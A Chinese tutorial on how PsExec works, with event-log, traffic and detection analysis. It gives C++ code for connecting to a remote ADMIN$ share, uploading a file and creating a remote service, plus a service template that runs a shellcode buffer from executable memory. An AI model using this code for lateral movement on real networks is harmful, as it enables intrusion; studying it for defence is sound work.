psexec原理分析
字数 1230 2025-08-09 15:23:08

PsExec 原理分析与实现教学文档

1. PsExec 概述

PsExec 最初是由 Sysinternals 开发的一款合法管理工具,用于远程执行程序。但由于其功能特性,也被广泛用于渗透测试和内网横向移动。

1.1 基本特点

  • 允许在远程系统上执行命令
  • 不需要手动安装客户端软件
  • 使用 Windows 服务机制实现远程执行
  • 支持 NTLM 认证(包括哈希传递)

2. PsExec 工作流程分析

2.1 典型攻击流程

  1. 通过 NTLM 认证连接到目标主机
  2. 建立 IPC\( 和 ADMIN\) 共享连接
  3. 上传 PsExec 服务程序到目标主机
  4. 创建并启动服务
  5. 服务执行后建立命名管道通信

2.2 事件日志分析

  • 4624 事件:登录事件,记录源IP和认证方式
  • 7045 事件:服务创建事件
  • ADMIN$ 共享访问:指向 C:\Windows 目录

3. 网络流量分析

使用 Wireshark 捕获的典型流量:

  1. TCP 三次握手建立连接
  2. SMB 协议协商
  3. NTLM 认证过程
  4. IPC\( 和 ADMIN\) 共享连接
  5. 文件传输(PSEXESVC.exe)
  6. 服务创建和启动通信

关键特征:

  • PE 文件特征(4D5A 开头)
  • 服务控制管理器(SCM)通信
  • 命名管道创建(通常创建4个管道)

4. PsExec 技术实现

4.1 建立 SMB 连接

使用 WNetAddConnection2 API 建立到 ADMIN$ 共享的连接:

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
    PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
    DWORD dwRetVal;
    NETRESOURCE nr;
    DWORD dwFlags;
    
    ZeroMemory(&nr, sizeof(NETRESOURCE));
    swprintf(lpwsIPC, MAX_PATH, TEXT("\\%s\\admin$"), lpwsHost);
    
    nr.dwType = RESOURCETYPE_ANY;
    nr.lpLocalName = NULL;
    nr.lpRemoteName = lpwsIPC;
    nr.lpProvider = NULL;
    
    dwFlags = CONNECT_UPDATE_PROFILE;
    dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
    
    if (dwRetVal == NO_ERROR) {
        printf("Connection added to %s\n", nr.lpRemoteName);
        return dwRetVal;
    }
    printf("WNetAddConnection2 failed with error: %d\n", dwRetVal);
    return -1;
}

4.2 文件上传

使用 CopyFile API 将文件上传到目标主机:

BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath) {
    DWORD dwRetVal;
    dwRetVal = CopyFile(lpwsSrcPath, lpwsDstPath, FALSE);
    return dwRetVal > 0 ? TRUE : FALSE;
}

4.3 服务创建与启动

使用服务控制管理器 API 创建并启动服务:

BOOL CreateServices(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath) {
    SC_HANDLE hSCM;
    SC_HANDLE hService;
    SERVICE_STATUS ss;
    
    hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        printf("OpenSCManager Error: %d\n", GetLastError());
        return -1;
    }
    
    hService = CreateService(
        hSCM,
        lpwsServiceName,
        lpwsServiceName,
        GENERIC_ALL,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        lpwsServicePath,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);
    
    if (hService == NULL) {
        printf("CreateService Error: %d\n", GetLastError());
        return -1;
    }
    
    hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
    if (hService == NULL) {
        printf("OpenService Error: %d\n", GetLastError());
        return -1;
    }
    
    StartService(hService, NULL, NULL);
    return 0;
}

5. 服务程序开发

5.1 Windows 服务基本结构

合法的 Windows 服务程序需要包含以下组件:

  1. 服务主函数 (ServiceMain)
  2. 控制处理函数 (CtrlHandler)
  3. 服务注册 (StartServiceCtrlDispatcher)

5.2 服务模板代码

#include <windows.h>
#include <iostream>

unsigned char buf[] = "shellcode";

#define SLEEP_TIME 5000
#define LOGFILE "C:\\Windows\\log.txt"

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void CtrlHandler(DWORD request);
int InitService();

int main(int argc, CHAR* argv[]) {
    WCHAR WserviceName[] = TEXT("sdd");
    SERVICE_TABLE_ENTRY ServiceTable[2];
    
    ServiceTable[0].lpServiceName = WserviceName;
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    
    StartServiceCtrlDispatcher(ServiceTable);
    return 0;
}

void ServiceMain(int argc, char** argv) {
    WCHAR WserviceName[] = TEXT("sdd");
    int error;
    
    ServiceStatus.dwServiceType = SERVICE_WIN32;
    ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    
    hStatus = ::RegisterServiceCtrlHandler(WserviceName, (LPHANDLER_FUNCTION)CtrlHandler);
    if (hStatus == (SERVICE_STATUS_HANDLE)0) {
        return;
    }
    
    error = InitService();
    if (error) {
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = -1;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    }
    
    LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
    
    ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ServiceStatus);
    
    MEMORYSTATUS memstatus;
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {
        Sleep(SLEEP_TIME);
    }
    return;
}

void CtrlHandler(DWORD request) {
    switch (request) {
        case SERVICE_CONTROL_STOP:
        case SERVICE_CONTROL_SHUTDOWN:
            ServiceStatus.dwWin32ExitCode = 0;
            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            SetServiceStatus(hStatus, &ServiceStatus);
            return;
        default:
            break;
    }
    SetServiceStatus(hStatus, &ServiceStatus);
}

int InitService() {
    return 0;
}

5.3 关键点说明

  1. 服务类型:必须设置为 SERVICE_WIN32_OWN_PROCESS 或类似值
  2. 执行权限:服务默认以 SYSTEM 权限运行
  3. 稳定性:服务程序需要正确处理各种控制请求
  4. 错误处理:需要完善的服务状态报告机制

6. 防御与检测

6.1 攻击特征检测

  • ADMIN$ 共享的异常访问
  • 短时间内大量 4624 登录事件
  • 异常的服务创建事件 (7045)
  • 命名管道的异常创建

6.2 防御措施

  1. 禁用不必要的共享 (ADMIN\(, IPC\))
  2. 启用 SMB 签名
  3. 监控服务创建行为
  4. 限制 NTLM 认证
  5. 使用强密码策略防止哈希传递

7. 总结

PsExec 的实现基于 Windows 的以下机制:

  1. SMB 协议和共享访问
  2. 服务控制管理器 (SCM)
  3. NTLM 认证协议
  4. 命名管道通信

理解这些底层机制对于防御类似攻击至关重要,同时也为开发合法的远程管理工具提供了技术参考。

PsExec 原理分析与实现教学文档 1. PsExec 概述 PsExec 最初是由 Sysinternals 开发的一款合法管理工具,用于远程执行程序。但由于其功能特性,也被广泛用于渗透测试和内网横向移动。 1.1 基本特点 允许在远程系统上执行命令 不需要手动安装客户端软件 使用 Windows 服务机制实现远程执行 支持 NTLM 认证(包括哈希传递) 2. PsExec 工作流程分析 2.1 典型攻击流程 通过 NTLM 认证连接到目标主机 建立 IPC$ 和 ADMIN$ 共享连接 上传 PsExec 服务程序到目标主机 创建并启动服务 服务执行后建立命名管道通信 2.2 事件日志分析 4624 事件 :登录事件,记录源IP和认证方式 7045 事件 :服务创建事件 ADMIN$ 共享访问 :指向 C:\Windows 目录 3. 网络流量分析 使用 Wireshark 捕获的典型流量: TCP 三次握手建立连接 SMB 协议协商 NTLM 认证过程 IPC$ 和 ADMIN$ 共享连接 文件传输(PSEXESVC.exe) 服务创建和启动通信 关键特征: PE 文件特征(4D5A 开头) 服务控制管理器(SCM)通信 命名管道创建(通常创建4个管道) 4. PsExec 技术实现 4.1 建立 SMB 连接 使用 WNetAddConnection2 API 建立到 ADMIN$ 共享的连接: 4.2 文件上传 使用 CopyFile API 将文件上传到目标主机: 4.3 服务创建与启动 使用服务控制管理器 API 创建并启动服务: 5. 服务程序开发 5.1 Windows 服务基本结构 合法的 Windows 服务程序需要包含以下组件: 服务主函数 (ServiceMain) 控制处理函数 (CtrlHandler) 服务注册 (StartServiceCtrlDispatcher) 5.2 服务模板代码 5.3 关键点说明 服务类型 :必须设置为 SERVICE_WIN32_OWN_PROCESS 或类似值 执行权限 :服务默认以 SYSTEM 权限运行 稳定性 :服务程序需要正确处理各种控制请求 错误处理 :需要完善的服务状态报告机制 6. 防御与检测 6.1 攻击特征检测 ADMIN$ 共享的异常访问 短时间内大量 4624 登录事件 异常的服务创建事件 (7045) 命名管道的异常创建 6.2 防御措施 禁用不必要的共享 (ADMIN$, IPC$) 启用 SMB 签名 监控服务创建行为 限制 NTLM 认证 使用强密码策略防止哈希传递 7. 总结 PsExec 的实现基于 Windows 的以下机制: SMB 协议和共享访问 服务控制管理器 (SCM) NTLM 认证协议 命名管道通信 理解这些底层机制对于防御类似攻击至关重要,同时也为开发合法的远程管理工具提供了技术参考。